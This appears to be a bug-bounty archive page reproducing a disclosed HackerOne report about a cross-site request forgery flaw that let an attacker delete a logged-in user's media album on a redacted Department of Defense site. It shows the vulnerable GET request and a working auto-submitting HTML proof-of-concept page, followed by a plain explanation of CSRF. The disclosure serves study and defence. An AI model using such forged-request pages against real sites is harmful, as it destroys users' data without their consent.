Skip to content
CSRF Disclosed report Beginner

CSRF Attack leads to delete album at

The album deletion endpoint lacked CSRF protection and accepted GET requests, so an attacker could make a logged-in user's browser delete an album without consent. The attacker only needed to know the album identifier and get the victim to load a crafted page.

prakhar0x01 Follow

Originally disclosed on HackerOne

Medium 5.4 View original
  • Triaged in 3 hours
  • Fixed in 44 days
  • Disclosed after 4 months

Description: Through research, I discovered a CSRF vulnerability in one of the DoD asset. www.████████

There is a feature to create albums for a collection of media such as photos and videos. While performing some actions on it, I found that there is no CSRF verification when deleting albums. Additionally, the delete request is based on GET, So it'll more easier for an attacker to exploit it..

Vulnerable Request

GET /mediagallery/delete/id/{album-id} HTTP/2
Host: www.██████
Cookie: {YOUR-SESSSION}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://www.█████████/mediagallery/index

References

  • Here is the detailed Video PoC

████

Impact

  • CSRF Attack
  • Delete users album

System Host(s)

www.█████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

1 - Create an account on www.███████ 2 - Navigate to https://www.█████████/search?filter[type]=image , and click on the below icon to create an album.

████████

3 - Here is the CSRF PoC exploit.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://www.█████/mediagallery/delete/id/{album-id}">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

4 - Replace the {album-id} with your actual album-id

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by prakhar0x01. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could cause a logged-in user to delete their album without the user's intent.

What the attacker needed

Victim has an account and is logged in; attacker knows the album identifier; victim visits attacker-controlled page

How it was found

  1. Create an account on the target site.
  2. Navigate to the image search page and create an album.
  3. Use the provided CSRF proof-of-concept page that submits a form to the delete endpoint.
  4. Replace the album identifier placeholder with the actual album identifier.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Websites often rely on the browser automatically sending a user's login cookie with every request. If a sensitive action like deleting an album can be triggered by a simple link or form submission, another site can make the user's browser perform that action without the user realising. This is called cross-site request forgery (CSRF).

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by prakhar0x01

View all

10 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.